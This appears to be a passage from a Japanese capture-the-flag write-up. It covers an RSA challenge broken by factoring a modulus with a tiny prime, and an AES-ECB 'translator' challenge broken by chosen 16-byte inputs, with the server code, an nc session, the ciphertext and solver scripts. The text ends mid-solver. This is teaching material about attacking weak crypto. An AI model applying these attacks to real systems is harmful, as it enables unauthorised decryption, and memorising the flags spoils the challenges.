&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;pre tabindex="0">&lt;code>n = 362433315617467211669633373003829486226172411166482563442958886158019905839570405964630640284863309204026062750823707471292828663974783556794504696138513859209
c = 104442881094680864129296583260490252400922571545171796349604339308085282733910615781378379107333719109188819881987696111496081779901973854697078360545565962079
&lt;/code>&lt;/pre>&lt;p>以下を実行するとflagが得られる．&lt;/p>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">solver.py&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.number&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">long_to_bytes&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">n&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">362433315617467211669633373003829486226172411166482563442958886158019905839570405964630640284863309204026062750823707471292828663974783556794504696138513859209&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">c&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">104442881094680864129296583260490252400922571545171796349604339308085282733910615781378379107333719109188819881987696111496081779901973854697078360545565962079&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">p&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">65536&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">n&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">p&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">q&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">n&lt;/span> &lt;span class="o">//&lt;/span> &lt;span class="n">p&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;p = &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;q = &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">e&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">65537&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">phi&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">q&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">d&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">phi&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">m&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">d&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">n&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">flag&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">m&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># or m.to_bytes((m.bit_length() + 7) // 8, byteorder=&amp;#39;big&amp;#39;)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># p = 33091&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># q = 10952625052656831515204538182703136388328319215692561827776703217129125920630092954719731657697359076607720006975422546048557875675403691541340687683615299&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># ctf4b{unb4l4nc3d_pr1m35_4r3_b4d}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
&lt;/figure>
&lt;h3 id="01-translator-280-solve-100-easy">01-Translator [280 Solve (100 easy)]&lt;/h3>
&lt;blockquote>
&lt;p>バイナリ列は読めない？じゃあ翻訳してあげるよ！&lt;br>
nc 01-translator.challenges.beginners.seccon.jp 9999&lt;/p>
&lt;/blockquote>
&lt;p>flagを2進数に変換し，&lt;code>0&lt;/code> と &lt;code>1&lt;/code> を指定した文字列に置き換え，AESのECBモードで暗号化される．&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">os&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Cipher&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">AES&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.Padding&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">pad&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.number&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">bytes_to_long&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">plaintext&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">key&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cipher&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">MODE_ECB&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">cipher&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">pad&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">plaintext&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encode&lt;/span>&lt;span class="p">(),&lt;/span> &lt;span class="mi">16&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">flag&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">environ&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;FLAG&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;CTF&lt;/span>&lt;span class="si">{dummy_flag}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">flag_bin&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">bytes_to_long&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encode&lt;/span>&lt;span class="p">())&lt;/span>&lt;span class="si">:&lt;/span>&lt;span class="s2">b&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">trans_0&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;translations for 0&amp;gt; &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">trans_1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;translations for 1&amp;gt; &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">flag_translated&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">flag_bin&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">translate&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">str&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">maketrans&lt;/span>&lt;span class="p">({&lt;/span>&lt;span class="s2">&amp;#34;0&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">trans_0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;1&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">trans_1&lt;/span>&lt;span class="p">}))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">urandom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;ct:&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">flag_translated&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">key&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hex&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>ECBモードなので，&lt;code>0&lt;/code> と &lt;code>1&lt;/code> を16byteの文字列に置き換えればよい．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ nc 01-translator.challenges.beginners.seccon.jp 9999
translations for 0&amp;gt; AAAAAAAAAAAAAAAA
translations for 1&amp;gt; BBBBBBBBBBBBBBBB
ct: d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf940faf1db97dff48482511b710f8dfa038
&lt;/code>&lt;/pre>&lt;p>16進の16byte分である &lt;code>d2dd0b85dca8a6e1b43485b29c3caf94&lt;/code> を &lt;code>1&lt;/code> に， &lt;code>e9d754817e22ae903894db279d383a70&lt;/code> を &lt;code>0&lt;/code> にして復号．&lt;/p>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">solver.py&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.number&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">long_to_bytes&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">input&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e